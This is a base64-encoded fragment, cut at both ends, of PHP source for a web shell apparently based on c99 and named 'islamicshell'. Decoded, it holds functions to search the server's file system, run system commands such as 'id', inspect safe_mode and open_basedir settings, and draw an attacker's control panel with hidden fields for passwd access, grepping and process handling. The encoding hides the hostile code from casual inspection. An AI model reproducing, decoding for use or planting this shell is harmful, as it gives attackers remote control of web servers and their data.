IG91dHB1dCB3aXRob3V0IGNvbnRyb2wtYnV0dG9ucw0KIGlmIG91dHB1dF90eXBlID09IDMsIG91dHB1dCB3aXRoIGNvbnRyb2wtYnV0dG9ucw0KICovDQogJHR5cGVzID0gYXJyYXkoDQogICJTRUxFQ1QiPT5hcnJheSgzLDEpLA0KICAiU0hPVyI9PmFycmF5KDIsMSksDQogICJERUxFVEUiPT5hcnJheSgxKSwNCiAgIkRST1AiPT5hcnJheSgxKQ0KICk7DQogJHJlc3VsdCA9IGFycmF5KCk7DQogJG9wID0gc3RydG91cHBlcigkYXJyWzBdKTsNCiBpZiAoaXNfYXJyYXkoJHR5cGVzWyRvcF0pKQ0KIHsNCiAgJHJlc3VsdFsicHJvcGVydGlvbnMiXSA9ICR0eXBlc1skb3BdOw0KICAkcmVzdWx0WyJxdWVyeSJdICA9ICRxdWVyeTsNCiAgaWYgKCR0eXBlc1skb3BdID09IDIpDQogIHsNCiAgIGZvcmVhY2goJGFyciBhcyAkaz0+JHYpDQogICB7DQogICAgaWYgKHN0cnRvdXBwZXIoJHYpID09ICJMSU1JVCIpDQogICAgew0KICAgICAkcmVzdWx0WyJsaW1pdCJdID0gJGFyclskaysxXTsNCiAgICAgJHJlc3VsdFsibGltaXQiXSA9IGV4cGxvZGUoIiwiLCRyZXN1bHRbImxpbWl0Il0pOw0KICAgICBpZiAoY291bnQoJHJlc3VsdFsibGltaXQiXSkgPT0gMSkgeyRyZXN1bHRbImxpbWl0Il0gPSBhcnJheSgwLCRyZXN1bHRbImxpbWl0Il1bMF0pO30NCiAgICAgdW5zZXQoJGFyclska10sJGFyclskaysxXSk7DQogICAgfQ0KICAgfQ0KICB9DQogfQ0KIGVsc2Uge3JldHVybiBGQUxTRTt9DQp9DQp9DQppZiAoIWZ1bmN0aW9uX2V4aXN0cygiYzk5ZnNlYXJjaCIpKQ0Kew0KZnVuY3Rpb24gYzk5ZnNlYXJjaCgkZCkNCnsNCiBnbG9iYWwgJGZvdW5kOw0KIGdsb2JhbCAkZm91bmRfZDsNCiBnbG9iYWwgJGZvdW5kX2Y7DQogZ2xvYmFsICRzZWFyY2hfaV9mOw0KIGdsb2JhbCAkc2VhcmNoX2lfZDsNCiBnbG9iYWwgJGE7DQogaWYgKHN1YnN0cigkZCwtMSkgIT0gRElSRUNUT1JZX1NFUEFSQVRPUikgeyRkIC49IERJUkVDVE9SWV9TRVBBUkFUT1I7fQ0KICRoID0gb3BlbmRpcigkZCk7DQogd2hpbGUgKCgkZiA9IHJlYWRkaXIoJGgpKSAhPT0gRkFMU0UpDQogew0KICBpZigkZiAhPSAiLiIgJiYgJGYgIT0gIi4uIikNCiAgew0KICAgJGJvb2wgPSAoZW1wdHkoJGFbIm5hbWVfcmVnZXhwIl0pIGFuZCBzdHJwb3MoJGYsJGFbIm5hbWUiXSkgIT09IEZBTFNFKSB8fCAoJGFbIm5hbWVfcmVnZXhwIl0gYW5kIGVyZWcoJGFbIm5hbWUiXSwkZikpOw0KICAgaWYgKGlzX2RpcigkZC4kZikpDQogICB7DQogICAgJHNlYXJjaF9pX2QrKzsNCiAgICBpZiAoZW1wdHkoJGFbInRleHQiXSkgYW5kICRib29sKSB7JGZvdW5kW10gPSAkZC4kZjsgJGZvdW5kX2QrKzt9DQogICAgaWYgKCFpc19saW5rKCRkLiRmKSkge2M5OWZzZWFyY2goJGQuJGYpO30NCiAgIH0NCiAgIGVsc2UNCiAgIHsNCiAgICAkc2VhcmNoX2lfZisrOw0KICAgIGlmICgkYm9vbCkNCiAgICB7DQogICAgIGlmICghZW1wdHkoJGFbInRleHQiXSkpDQogICAgIHsNCiAgICAgICRyID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRkLiRmKTsNCiAgICAgIGlmICgkYVsidGV4dF93d28iXSkgeyRhWyJ0ZXh0Il0gPSAiICIudHJpbSgkYVsidGV4dCJdKS4iICI7fQ0KICAgICAgaWYgKCEkYVsidGV4dF9jcyJdKSB7JGFbInRleHQiXSA9IHN0cnRvbG93ZXIoJGFbInRleHQiXSk7ICRyID0gc3RydG9sb3dlcigkcik7fQ0KICAgICAgaWYgKCRhWyJ0ZXh0X3JlZ2V4cCJdKSB7JGJvb2wgPSBlcmVnKCRhWyJ0ZXh0Il0sJHIpO30NCiAgICAgIGVsc2UgeyRib29sID0gc3RycG9zKCIgIi4kciwkYVsidGV4dCJdLDEpO30NCiAgICAgIGlmICgkYVsidGV4dF9ub3QiXSkgeyRib29sID0gISRib29sO30NCiAgICAgIGlmICgkYm9vbCkgeyRmb3VuZFtdID0gJGQuJGY7ICRmb3VuZF9mKys7fQ0KICAgICB9DQogICAgIGVsc2UgeyRmb3VuZFtdID0gJGQuJGY7ICRmb3VuZF9mKys7fQ0KICAgIH0NCiAgIH0NCiAgfQ0KIH0NCiBjbG9zZWRpcigkaCk7DQp9DQp9DQppZiAoJGFjdCA9PSAiZ29maWxlIikge2lmIChpc19kaXIoJGYpKSB7JGFjdCA9ICJscyI7ICRkID0gJGY7fSBlbHNlIHskYWN0ID0gImYiOyAkZCA9IGRpcm5hbWUoJGYpOyAkZiA9IGJhc2VuYW1lKCRmKTt9fQ0KLy9TZW5kaW5nIGhlYWRlcnMNCkBvYl9zdGFydCgpOw0KQG9iX2ltcGxpY2l0X2ZsdXNoKDApOw0KZnVuY3Rpb24gb25waHBzaHV0ZG93bigpDQp7DQogZ2xvYmFsICRnemlwZW5jb2RlLCRmdDsNCiBpZiAoIWhlYWRlcnNfc2VudCgpIGFuZCAkZ3ppcGVuY29kZSBhbmQgIWluX2FycmF5KCRmdCxhcnJheSgiaW1nIiwiZG93bmxvYWQiLCJub3RlcGFkIikpKQ0KIHsNCiAgJHYgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7DQogIEBvYl9lbmRfY2xlYW4oKTsNCiAgQG9iX3N0YXJ0KCJvYl9nekhhbmRsZXIiKTsNCiAgZWNobyAkdjsNCiAgQG9iX2VuZF9mbHVzaCgpOw0KIH0NCn0NCmZ1bmN0aW9uIGM5OXNoZXhpdCgpDQp7DQogb25waHBzaHV0ZG93bigpOw0KIGV4aXQ7DQp9DQpoZWFkZXIoIkV4cGlyZXM6IE1vbiwgMjYgSnVsIDE5OTcgMDU6MDA6MDAgR01UIik7DQpoZWFkZXIoIkxhc3QtTW9kaWZpZWQ6ICIuZ21kYXRlKCJELCBkIE0gWSBIOmk6cyIpLiIgR01UIik7DQpoZWFkZXIoIkNhY2hlLUNvbnRyb2w6IG5vLXN0b3JlLCBuby1jYWNoZSwgbXVzdC1yZXZhbGlkYXRlIik7DQpoZWFkZXIoIkNhY2hlLUNvbnRyb2w6IHBvc3QtY2hlY2s9MCwgcHJlLWNoZWNrPTAiLCBGQUxTRSk7DQpoZWFkZXIoIlByYWdtYTogbm8tY2FjaGUiKTsNCmlmIChlbXB0eSgkdG1wZGlyKSkNCnsNCiAkdG1wZGlyID0gaW5pX2dldCgidXBsb2FkX3RtcF9kaXIiKTsNCiBpZiAoaXNfZGlyKCR0bXBkaXIpKSB7JHRtcGRpciA9ICIvdG1wLyI7fQ0KfQ0KJHRtcGRpciA9IHJlYWxwYXRoKCR0bXBkaXIpOw0KJHRtcGRpciA9IHN0cl9yZXBsYWNlKCJcXCIsRElSRUNUT1JZX1NFUEFSQVRPUiwkdG1wZGlyKTsNCmlmIChzdWJzdHIoJHRtcGRpciwtMSkgIT0gRElSRUNUT1JZX1NFUEFSQVRPUikgeyR0bXBkaXIgLj0gRElSRUNUT1JZX1NFUEFSQVRPUjt9DQppZiAoZW1wdHkoJHRtcGRpcl9sb2dzKSkgeyR0bXBkaXJfbG9ncyA9ICR0bXBkaXI7fQ0KZWxzZSB7JHRtcGRpcl9sb2dzID0gcmVhbHBhdGgoJHRtcGRpcl9sb2dzKTt9DQppZiAoQGluaV9nZXQoInNhZmVfbW9kZSIpIG9yIHN0cnRvbG93ZXIoQGluaV9nZXQoInNhZmVfbW9kZSIpKSA9PSAib24iKQ0Kew0KICRzYWZlbW9kZSA9IFRSVUU7DQogJGhzYWZlbW9kZSA9ICI8Zm9udCBjb2xvcj1yZWQ+T04gKHNlY3VyZSk8L2ZvbnQ+IjsNCn0NCmVsc2UgeyRzYWZlbW9kZSA9IEZBTFNFOyAkaHNhZmVtb2RlID0gIjxmb250IGNvbG9yPWdyZWVuPk9GRiAobm90IHNlY3VyZSk8L2ZvbnQ+Ijt9DQokdiA9IEBpbmlfZ2V0KCJvcGVuX2Jhc2VkaXIiKTsNCmlmICgkdiBvciBzdHJ0b2xvd2VyKCR2KSA9PSAib24iKSB7JG9wZW5iYXNlZGlyID0gVFJVRTsgJGhvcGVuYmFzZWRpciA9ICI8Zm9udCBjb2xvcj1yZWQ+Ii4kdi4iPC9mb250PiI7fQ0KZWxzZSB7JG9wZW5iYXNlZGlyID0gRkFMU0U7ICRob3BlbmJhc2VkaXIgPSAiPGZvbnQgY29sb3I9Z3JlZW4+T0ZGIChub3Qgc2VjdXJlKTwvZm9udD4iO30NCiRzb3J0ID0gaHRtbHNwZWNpYWxjaGFycygkc29ydCk7DQppZiAoZW1wdHkoJHNvcnQpKSB7JHNvcnQgPSAkc29ydF9kZWZhdWx0O30NCiRzb3J0WzFdID0gc3RydG9sb3dlcigkc29ydFsxXSk7DQokRElTUF9TRVJWRVJfU09GVFdBUkUgPSBnZXRlbnYoIlNFUlZFUl9TT0ZUV0FSRSIpOw0KaWYgKCFlcmVnKCJQSFAvIi5waHB2ZXJzaW9uKCksJERJU1BfU0VSVkVSX1NPRlRXQVJFKSkgeyRESVNQX1NFUlZFUl9TT0ZUV0FSRSAuPSAiLiBQSFAvIi5waHB2ZXJzaW9uKCk7fQ0KJERJU1BfU0VSVkVSX1NPRlRXQVJFID0gc3RyX3JlcGxhY2UoIlBIUC8iLnBocHZlcnNpb24oKSwiPGEgaHJlZj1cIiNcIiBvbmNsaWNrPVwiZG9jdW1lbnQudG9kby5hY3QudmFsdWU9J3BocGluZm8nO2RvY3VtZW50LnRvZG8uc3VibWl0KCk7XCI+PGI+PHU+UEhQLyIucGhwdmVyc2lvbigpLiI8L3U+PC9iPjwvYT4iLGh0bWxzcGVjaWFsY2hhcnMoJERJU1BfU0VSVkVSX1NPRlRXQVJFKSk7DQpAaW5pX3NldCgiaGlnaGxpZ2h0LmJnIiwkaGlnaGxpZ2h0X2JnKTsgLy9GRkZGRkYNCkBpbmlfc2V0KCJoaWdobGlnaHQuY29tbWVudCIsJGhpZ2hsaWdodF9jb21tZW50KTsgLy8jRkY4MDAwDQpAaW5pX3NldCgiaGlnaGxpZ2h0LmRlZmF1bHQiLCRoaWdobGlnaHRfZGVmYXVsdCk7IC8vIzAwMDBCQg0KQGluaV9zZXQoImhpZ2hsaWdodC5odG1sIiwkaGlnaGxpZ2h0X2h0bWwpOyAvLyMwMDAwMDANCkBpbmlfc2V0KCJoaWdobGlnaHQua2V5d29yZCIsJGhpZ2hsaWdodF9rZXl3b3JkKTsgLy8jMDA3NzAwDQpAaW5pX3NldCgiaGlnaGxpZ2h0LnN0cmluZyIsJGhpZ2hsaWdodF9zdHJpbmcpOyAvLyNERDAwMDANCmlmICghaXNfYXJyYXkoJGFjdGJveCkpIHskYWN0Ym94ID0gYXJyYXkoKTt9DQokZHNwYWN0ID0gJGFjdCA9IGh0bWxzcGVjaWFsY2hhcnMoJGFjdCk7DQokZGlzcF9mdWxscGF0aCA9ICRsc19hcnIgPSAkbm90bHMgPSBudWxsOw0KJHVkID0gdXJsZW5jb2RlKCRkKTsNCj8+PGh0bWw+PGhlYWQ+PG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9d2luZG93cy0xMjUxIj48bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LUxhbmd1YWdlIiBjb250ZW50PSJlbi11cyI+PHRpdGxlPjw/cGhwIGVjaG8gZ2V0ZW52KCJIVFRQX0hPU1QiKTsgPz4gLSBpc2xhbWljc2hlbGw8L3RpdGxlPjxTVFlMRT5URCB7IEZPTlQtU0laRTogOHB0OyBDT0xPUjogI2ViZWJlYjsgRk9OVC1GQU1JTFk6IHZlcmRhbmE7fUJPRFkgeyBzY3JvbGxiYXItZmFjZS1jb2xvcjogIzMzMzMzMzsgc2Nyb2xsYmFyLXNoYWRvdy1jb2xvcjogIzEwMTAxMDsgc2Nyb2xsYmFyLWhpZ2hsaWdodC1jb2xvcjogIzEwMTAxMDsgc2Nyb2xsYmFyLTNkbGlnaHQtY29sb3I6ICMxMDEwMTA7IHNjcm9sbGJhci1kYXJrc2hhZG93LWNvbG9yOiAjMTAxMDEwOyBzY3JvbGxiYXItdHJhY2stY29sb3I6ICMxMDEwMTA7IHNjcm9sbGJhci1hcnJvdy1jb2xvcjogIzEwMTAxMDsgZm9udC1mYW1pbHk6IFZlcmRhbmE7fVRELmhlYWRlciB7IEZPTlQtV0VJR0hUOiBub3JtYWw7IEZPTlQtU0laRTogMTBwdDsgQkFDS0dST1VORDogIzdkNzQ3NDsgQ09MT1I6IHdoaXRlOyBGT05ULUZBTUlMWTogdmVyZGFuYTt9QSB7IEZPTlQtV0VJR0hUOiBub3JtYWw7IENPTE9SOiAjZGFkYWRhOyBGT05ULUZBTUlMWTogdmVyZGFuYTsgVEVYVC1ERUNPUkFUSU9OOiBub25lO31BOnVua25vd24geyBGT05ULVdFSUdIVDogbm9ybWFsOyBDT0xPUjogI2ZmZmZmZjsgRk9OVC1GQU1JTFk6IHZlcmRhbmE7IFRFWFQtREVDT1JBVElPTjogbm9uZTt9QS5MaW5rcyB7IENPTE9SOiAjZmZmZmZmOyBURVhULURFQ09SQVRJT046IG5vbmU7fUEuTGlua3M6dW5rbm93biB7IEZPTlQtV0VJR0hUOiBub3JtYWw7IENPTE9SOiAjZmZmZmZmOyBURVhULURFQ09SQVRJT046IG5vbmU7fUE6aG92ZXIgeyBDT0xPUjogI2ZmZmZmZjsgVEVYVC1ERUNPUkFUSU9OOiB1bmRlcmxpbmU7fS5za2luMHtwb3NpdGlvbjphYnNvbHV0ZTsgd2lkdGg6MjAwcHg7IGJvcmRlcjoycHggc29saWQgYmxhY2s7IGJhY2tncm91bmQtY29sb3I6bWVudTsgZm9udC1mYW1pbHk6VmVyZGFuYTsgbGluZS1oZWlnaHQ6MjBweDsgY3Vyc29yOmRlZmF1bHQ7IHZpc2liaWxpdHk6aGlkZGVuOzt9LnNraW4xe2N1cnNvcjogZGVmYXVsdDsgZm9udDogbWVudXRleHQ7IHBvc2l0aW9uOiBhYnNvbHV0ZTsgd2lkdGg6IDE0NXB4OyBiYWNrZ3JvdW5kLWNvbG9yOiBtZW51OyBib3JkZXI6IDEgc29saWQgYnV0dG9uZmFjZTt2aXNpYmlsaXR5OmhpZGRlbjsgYm9yZGVyOiAyIG91dHNldCBidXR0b25oaWdobGlnaHQ7IGZvbnQtZmFtaWx5OiBWZXJkYW5hLEdlbmV2YSwgQXJpYWw7IGZvbnQtc2l6ZTogMTBweDsgY29sb3I6IGJsYWNrO30ubWVudWl0ZW1ze3BhZGRpbmctbGVmdDoxNXB4OyBwYWRkaW5nLXJpZ2h0OjEwcHg7O31pbnB1dHtiYWNrZ3JvdW5kLWNvbG9yOiAjMzMzMzMzOyBmb250LXNpemU6IDhwdDsgY29sb3I6ICNGRkZGRkY7IGZvbnQtZmFtaWx5OiBUYWhvbWE7IGJvcmRlcjogMSBzb2xpZCAjNjY2NjY2O310ZXh0YXJlYXtiYWNrZ3JvdW5kLWNvbG9yOiAjMzMzMzMzOyBmb250LXNpemU6IDhwdDsgY29sb3I6ICNGRkZGRkY7IGZvbnQtZmFtaWx5OiBUYWhvbWE7IGJvcmRlcjogMSBzb2xpZCAjNjY2NjY2O31idXR0b257YmFja2dyb3VuZC1jb2xvcjogIzMzMzMzMzsgZm9udC1zaXplOiA4cHQ7IGNvbG9yOiAjRkZGRkZGOyBmb250LWZhbWlseTogVGFob21hOyBib3JkZXI6IDEgc29saWQgIzY2NjY2Njt9c2VsZWN0e2JhY2tncm91bmQtY29sb3I6ICMzMzMzMzM7IGZvbnQtc2l6ZTogOHB0OyBjb2xvcjogI0ZGRkZGRjsgZm9udC1mYW1pbHk6IFRhaG9tYTsgYm9yZGVyOiAxIHNvbGlkICM2NjY2NjY7fW9wdGlvbiB7YmFja2dyb3VuZC1jb2xvcjogIzMzMzMzMzsgZm9udC1zaXplOiA4cHQ7IGNvbG9yOiAjRkZGRkZGOyBmb250LWZhbWlseTogVGFob21hOyBib3JkZXI6IDEgc29saWQgIzY2NjY2Njt9aWZyYW1lIHtiYWNrZ3JvdW5kLWNvbG9yOiAjMzMzMzMzOyBmb250LXNpemU6IDhwdDsgY29sb3I6ICNGRkZGRkY7IGZvbnQtZmFtaWx5OiBUYWhvbWE7IGJvcmRlcjogMSBzb2xpZCAjNjY2NjY2O31wIHtNQVJHSU4tVE9QOiAwcHg7IE1BUkdJTi1CT1RUT006IDBweDsgTElORS1IRUlHSFQ6IDE1MCV9YmxvY2txdW90ZXsgZm9udC1zaXplOiA4cHQ7IGZvbnQtZmFtaWx5OiBDb3VyaWVyLCBGaXhlZCwgQXJpYWw7IGJvcmRlciA6IDhweCBzb2xpZCAjQTlBOUE5OyBwYWRkaW5nOiAxZW07IG1hcmdpbi10b3A6IDFlbTsgbWFyZ2luLWJvdHRvbTogNWVtOyBtYXJnaW4tcmlnaHQ6IDNlbTsgbWFyZ2luLWxlZnQ6IDRlbTsgYmFja2dyb3VuZC1jb2xvcjogI0I3QjJCMDt9Ym9keSx0ZCx0aCB7IGZvbnQtZmFtaWx5OiB2ZXJkYW5hOyBjb2xvcjogI2Q5ZDlkOTsgZm9udC1zaXplOiAxMXB4O31ib2R5IHsgYmFja2dyb3VuZC1jb2xvcjogIzAwMDAwMDt9PC9zdHlsZT48L2hlYWQ+PEJPRFkgdGV4dD0jZmZmZmZmIGJvdHRvbU1hcmdpbj0wIGJnQ29sb3I9IzAwMDAwMCBsZWZ0TWFyZ2luPTAgdG9wTWFyZ2luPTAgcmlnaHRNYXJnaW49MCBtYXJnaW5oZWlnaHQ9MCBtYXJnaW53aWR0aD0wPjxmb3JtIG5hbWU9J3RvZG8nIG1ldGhvZD0nUE9TVCc+PGlucHV0IG5hbWU9J2FjdCcgdHlwZT0naGlkZGVuJyB2YWx1ZT0nJz48aW5wdXQgbmFtZT0nZ3JlcCcgdHlwZT0naGlkZGVuJyB2YWx1ZT0nJz48aW5wdXQgbmFtZT0nZnVsbGhleGR1bXAnIHR5cGU9J2hpZGRlbicgdmFsdWU9Jyc+PGlucHV0IG5hbWU9J2Jhc2U2NCcgdHlwZT0naGlkZGVuJyB2YWx1ZT0nJz48aW5wdXQgbmFtZT0nbml4cGFzc3dkJyB0eXBlPSdoaWRkZW4nIHZhbHVlPScnPjxpbnB1dCBuYW1lPSdwaWQnIHR5cGU9J2hpZGRlbicgdmFsdWU9Jyc+PGlucHV0IG5hbWU9J2MnIHR5cGU9J2hpZGRlbicgdmFsdWU9Jyc+PGlucHV0IG5hbWU9J3doaXRlJyB0eXBlPSdoaWRkZW4nIHZhbHVlPScnPjxpbnB1dCBuYW1lPSdzaWcnIHR5cGU9J2hpZGRlbicgdmFsdWU9Jyc+PGlucHV0IG5hbWU9J3Byb2Nlc3Nlc19zb3J0JyB0eXBlPSdoaWRkZW4nIHZhbHVlPScnPjxpbnB1dCBuYW1lPSdkJyB0eXBlPSdoaWRkZW4nIHZhbHVlPScnPjxpbnB1dCBuYW1lPSdzb3J0JyB0eXBlPSdoaWRkZW4nIHZhbHVlPScnPjxpbnB1dCBuYW1lPSdmJyB0eXBlPSdoaWRkZW4nIHZhbHVlPScnPjxpbnB1dCBuYW1lPSdmdCcgdHlwZT0naGlkZGVuJyB2YWx1ZT0nJz48L2Zvcm0+PGNlbnRlcj48VEFCTEUgc3R5bGU9IkJPUkRFUi1DT0xMQVBTRTogY29sbGFwc2UiIGhlaWdodD0xIGNlbGxTcGFjaW5nPTAgYm9yZGVyQ29sb3JEYXJrPSM2NjY2NjYgY2VsbFBhZGRpbmc9NSB3aWR0aD0iMTAwJSIgYmdDb2xvcj0jMDAzMzAwIGJvcmRlckNvbG9yTGlnaHQ9I2MwYzBjMCBib3JkZXI9MSBib3JkZXJjb2xvcj0iI0MwQzBDMCI+PHRyPjx0aCB3aWR0aD0iMTAxJSIgaGVpZ2h0PSIxNSIgbm93cmFwIGJvcmRlcmNvbG9yPSIjQzBDMEMwIiB2YWxpZ249InRvcCIgY29sc3Bhbj0iMiI+PHA+PGZvbnQgZmFjZT1XZWJkaW5ncyBzaXplPTY+PGI+ITwvYj48L2ZvbnQ+PGEgaHJlZj0iPD9waHAgZWNobyAkc3VybDsgPz4iPjxmb250IGZhY2U9IlZlcmRhbmEiIHNpemU9IjUiPjxiPmlzbGFtaWNzaGVsbCB2LiA8P3BocCBlY2hvICRzaHZlcjsgPz48L2I+PC9mb250PjwvYT48Zm9udCBmYWNlPVdlYmRpbmdzIHNpemU9Nj48Yj4hPC9iPjwvZm9udD48L3A+PC9jZW50ZXI+PC90aD48L3RyPjx0cj48dGQ+PHAgYWxpZ249ImxlZnQiPjxiPlNvZnR3YXJlOiZuYnNwOzw/cGhwIGVjaG8gJERJU1BfU0VSVkVSX1NPRlRXQVJFOyA/PjwvYj4mbmJzcDs8L3A+PHAgYWxpZ249ImxlZnQiPjxiPnVuYW1lIC1hOiZuYnNwOzw/cGhwIGVjaG8gd29yZHdyYXAocGhwX3VuYW1lKCksOTAsIjxicj4iLDEpOyA/PjwvYj4mbmJzcDs8L3A+PHAgYWxpZ249ImxlZnQiPjxiPjw/cGhwIGlmICghJHdpbikge2VjaG8gd29yZHdyYXAobXlzaGVsbGV4ZWMoImlkIiksOTAsIjxicj4iLDEpO30gZWxzZSB7ZWNobyBnZXRfY3VycmVudF91c2VyKCk7fSA/PjwvYj4mbmJzcDs8L3A+PHAgYWxpZ249ImxlZnQiPjxiPlNhZmUtbW9kZTombmJzcDs8P3BocCBlY2hvICRoc2FmZW1vZGU7ID8+PC9iPjwvcD48cCBhbGlnbj0ibGVmdCI+PD9waHANCiRkID0gc3RyX3JlcGxhY2UoIlxcIixESVJFQ1RPUllfU0VQQVJBVE9SLCRkKTsNCmlmIChlbXB0eSgkZCkpIHskZCA9IHJlYWxwYXRoKCIuIik7fSBlbHNlaWYocmVhbHBhdGgoJGQpKSB7JGQgPSByZWFscGF0aCgkZCk7fQ0KJGQgPSBzdHJfcmVwbGFjZSgiXFwiLERJUkVDVE9SWV9TRVBBUkFUT1IsJGQpOw0KaWYgKHN1YnN0cigkZCwtMSkgIT0gRElSRUNUT1JZX1NFUEFSQVRPUikgeyRkIC49IERJUkVDVE9SWV9TRVBBUkFUT1I7fQ0KJGQgPSBzdHJfcmVwbGFjZSgiXFxcXCIsIlxcIiwkZCk7DQokZGlzcGQgPSBodG1sc3BlY2lhbGNoYXJzKCRkKTsNCiRwZCA9ICRlID0gZXhwbG9kZShESVJFQ1RPUllfU0VQQVJBVE9SLHN1YnN0cigkZCwwLC0xKSk7DQokaSA9IDA7DQpmb3JlYWNoKCRwZCBhcyAkYikNCnsNCiAkdCA9ICIiOw0KICRqID0gMDsNCiBmb3JlYWNoICgkZSBhcyAkcikNCiB7DQogICR0Lj0gJHIuRElSRUNUT1JZX1NFUEFSQVRPUjsNCiAgaWYgKCRqID09ICRpKSB7YnJlYWs7fQ0KICAkaisrOw0KIH0NCiBlY2hvICI8YSBocmVmPVwiI1wiIG9uY2xpY2s9XCJkb2N1bWVudC50b2RvLmFjdC52YWx1ZT0nbHMnO2RvY3VtZW50LnRvZG8uZC52YWx1ZT0nIi51cmxlbmNvZGUoJHQpLiInO2RvY3VtZW50LnRvZG8uc29ydC52YWx1ZT0nIi4kc29ydC4iJztkb2N1bWVudC50b2RvLnN1Ym1pdCgpO1wiPjxiPiIuaHRtbHNwZWNpYWxjaGFycygkYikuRElSRUNUT1JZX1NFUEFSQVRPUi4iPC9iPjwvYT4iOw0KICRpKys7DQp9DQplY2hvICImbmJzcDsmbmJzcDsmbmJzcDsiOw0KaWYgKGlzX3dyaXRhYmxlKCRkKSkNCnsNCiAkd2QgPSBUUlVFOw0KICR3ZHQgPSAiPGZvbnQgY29sb3I9Z3JlZW4+WyBvayBdPC9mb250PiI7DQogZWNobyAiPGI+PGZvbnQgY29sb3I9Z3JlZW4+Ii52aWV3X3Blcm1zKGZpbGVwZXJtcygkZCkpLiI8L2ZvbnQ+PC9iPiI7DQp9DQplbHNlDQp7DQogJHdkID0gRkFMU0U7DQogJHdkdCA9ICI8Zm9udCBjb2xvcj1yZWQ+WyBSZWFkLU9ubHkgXTwvZm9udD4iOw0KIGVjaG8gIjxiPiIudmlld19wZXJtc19jb2xvcigkZCkuIjwvYj4iOw0KfQ0KaWYgKGlzX2NhbGxhYmxlKCJkaXNrX2ZyZWVfc3BhY2UiKSkNCnsNCiAkZnJlZSA9IGRpc2tfZnJlZV9zcGFjZSgkZCk7DQogJHRvdGFsID0gZGlza190b3RhbF9zcGFjZSgkZCk7DQogaWYgKCRmcmVlID09PSBGQUxTRSkgeyRmcmVlID0gMDt9DQogaWYgKCR0b3RhbCA9PT0gRkFMU0UpIHskdG90YWwgPSAwO30NCiBpZiAoJGZyZWUgPCAwKSB7JGZyZWUgPSAwO30NCiBpZiAoJHRvdGFsIDwgMCkgeyR0b3RhbCA9IDA7fQ0KICR1c2VkID0gJHRvdGFsLSRmcmVlOw0KICRmcmVlX3BlcmNlbnQgPSByb3VuZCgxMDAvKCR0b3RhbC8kZnJlZSksMik7DQogZWNobyAiPGJyPjxiPkZyZWUgIi52aWV3X3NpemUoJGZyZWUpLiIgb2YgIi52aWV3X3NpemUoJHRvdGFsKS4iICgiLiRmcmVlX3BlcmNlbnQuIiUpPC9iPiI7DQp9DQplY2hvICI8YnI+IjsNCiRsZXR0ZXJzID0gIiI7DQppZiAoJHdpbikNCnsNCiAkdiA9IGV4cGxvZGUoIlxcIiwkZCk7DQogJHYgPSAkdlswXTsNCiBmb3JlYWNoIChyYW5nZSgiYSIsInoiKSBhcyAkbGV0dGVyKQ0KIHsNCiAgJGJvb2wgPSAkaXNkaXNrZXR0ZSA9IGluX2FycmF5KCRsZXR0ZXIsJHNhZmVtb2RlX2Rpc2tldHRlcyk7DQogIGlmICghJGJvb2wpIHskYm9vbCA9IGlzX2RpcigkbGV0dGVyLiI6XFwiKTt9DQogIGlmICgkYm9vbCkNCiAgew0KICAgJGxldHRlcnMgLj0gIjxhIGhyZWY9XCIjXCIgb25jbGljaz1cImRvY3VtZW50LnRvZG8uYWN0LnZhbHVlPSdscyc7ZG9jdW1lbnQudG9kby5kLnZhbHVlPSciLnVybGVuY29kZSgkbGV0dGVyLiI6XFwiKS4iJztkb2N1bWVudC50b2RvLnN1Ym1pdCgpO1wiPlsgIjsNCiAgIGlmICgkbGV0dGVyLiI6IiAhPSAkdikgeyRsZXR0ZXJzIC49ICRsZXR0ZXI7fQ0KICAgZWxzZSB7JGxldHRlcnMgLj0gIjxmb250IGNvbG9yPWdyZWVuPiIuJGxldHRlci4iPC9mb250PiI7fQ0KICAgJGxldHRlcnMgLj0gIiBdPC9hPiAiOw0KICB9DQogfQ0KIGlmICghZW1wdHkoJGxldHRlcnMpKSB7ZWNobyAiPGI+RGV0ZWN0ZWQgZHJpdmVzPC9iPjogIi4kbGV0dGVycy4iPGJyPiI7fQ0KfQ0KaWYgKGNvdW50KCRxdWlja2xhdW5jaCkgPiAwKQ0Kew0KIGZvcmVhY2goJHF1aWNrbGF1bmNoIGFzICRpdGVtKQ0KIHsNCiAgJGl0ZW1bMV0gPSBzdHJfcmVwbGFjZSgiJWQiLHVybGVuY29kZSgkZCksJGl0ZW1bMV0pOw0KICAkaXRlbVsxXSA9IHN0cl9yZXBsYWNlKCIlc29ydCIsJHNvcnQsJGl0ZW1bMV0pOw0KICAkdiA9IHJlYWxwYXRoKCRkLiIuLiIpOw0KICBpZiAoZW1wdHkoJHYpKSB7JGEgPSBleHBsb2RlKERJUkVDVE9SWV9TRVBBUkFUT1IsJGQpOyB1bnNldCgkYVtjb3VudCgkYSktMl0pOyAkdiA9IGpvaW4oRElSRUNUT1JZX1NFUEFSQVRPUiwkYSk7fQ0KICAkaXRlbVsxXSA9IHN0cl9yZXBsYWNlKCIldXBkIix1cmxlbmNvZGUoJHYpLCRpdGVtWzFdKTsNCg0KICBlY2hvICI8YSBocmVmPVwiIi4kaXRlbVsxXS4iXCI+Ii4kaXRlbVswXS4iPC9hPiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyI7DQogfQ0KfQ0KZWNobyAiPC9wPjwvdGQ+PC90cj48L3RhYmxlPjxicj4iOw0KaWYgKCghZW1wdHkoJGRvbmF0ZWRfaHRtbCkpIGFuZCAoaW5fYXJyYXkoJGFjdCwkZG9uYXRlZF9hY3QpKSkge2VjaG8gIjxUQUJMRSBzdHlsZT1cIkJPUkRFUi1DT0xMQVBTRTogY29sbGFwc2VcIiBjZWxsU3BhY2luZz0wIGJvcmRlckNvbG9yRGFyaz0jNjY2NjY2IGNlbGxQYWRkaW5nPTUgd2lkdGg9XCIxMDAlXCIgYmdDb2xvcj0jMDAzMzAwIGJvcmRlckNvbG9yTGlnaHQ9I2MwYzBjMCBib3JkZXI9MT48dHI+PHRkIHdpZHRoPVwiMTAwJVwiIHZhbGlnbj1cInRvcFwiPiIuJGRvbmF0ZWRfaHRtbC4iPC90ZD48L3RyPjwvdGFibGU+PGJyPiI7fQ0KZWNobyAiPFRBQkxFIHN0eWxlPVwiQk9SREVSLUNPTExBUFNFOiBjb2xsYXBzZVwiIGNlbGxTcGFjaW5